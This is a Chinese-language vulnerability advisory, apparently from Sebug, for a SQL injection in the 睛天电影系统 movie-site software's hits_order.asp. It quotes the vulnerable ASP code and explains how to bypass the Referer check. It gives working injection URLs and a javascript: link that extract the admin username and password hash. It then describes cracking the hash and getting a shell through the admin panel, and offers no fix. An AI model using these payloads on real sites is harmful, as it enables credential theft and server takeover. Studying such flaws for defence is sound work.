睛天电影系统p_inchits_order.asp注入漏洞

影响版本:
睛天电影系统漏洞描述:
漏洞文件为/p_inc/hits_order.asp
<!--#include file="../p_inc/config.asp"-->
<!--#include file="../p_inc/function.asp"-->
<!--#include file="../p_inc/function_func.asp"-->
<!--#include file="../p_inc/openconn.asp"-->
<!--#include file="../p_inc/G_function.asp"-->
<%
IF Not ChkPost() Then
response.Redirect G_error_page_1
response.End()
End IF
’这里调用了/p_inc/function.asp文件中ChkPost()函数检测来源网址
Function G_hitss(url,numb)
Dim str
str=""
sql="select top "&numb&" id,m_name,m_pic,m_hits,m_content from qingtiandy_movie where m_look=1   order by  m_hits desc,id desc"
’看到了没numb没有过滤
Set rs=server.CreateObject(G_RS)
rs.open sql,conn,1,1
i=1
Do While Not rs.Eof
d_url=url_(Array("d",rs(0),url))
str=str&"<div><a href="&d_url&" title=’主演："&rs(2)&"’>"&Get_length(rs(1),"",32)&"</a> ("&rs(3)&")</div>"
i=i+1
rs.movenext
Loop
G_hitss=str
End Function
%>
document.write("<%=G_hitss(request("url"),request("numb"))%>")
’这里的numb也没有过滤<*参考  
http://www.st0p.org/blog/archives/eye-day-film-system-0day.html
*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!利用方法如
1、可以直接用软件伪造Referer后，访问如下地址实现
2、通过XMLHTTP实现伪造Referer，访问如下地址实现
3、通过JS实现在来源网址用JAVASCRIPT来控制
javascript:document.write("<a href=’/p_inc/hits_order.asp?numb=1 (select str_username from tbl_admin) as username,(select str_pass from tbl_admin) as pass,’>科幻片</a> ");
http://www.st0p.org/p_inc/hits_order.asp?numb=1 (select str_username from tbl_admin) as username,(select str_pass from tbl_admin) as pass,

注：只要跳过去Referer的检测，就可以通过POST,GET,COOKIE的各种方式来实现注入了。。。

访问以下内容后，管理员用户名在网址的链接中，密码HASH直接显示出来了。。
破解密码HASH，因为后台可以直接编辑ASP文件，进入后台拿SHELL就行了。SEBUG安全建议:
暂无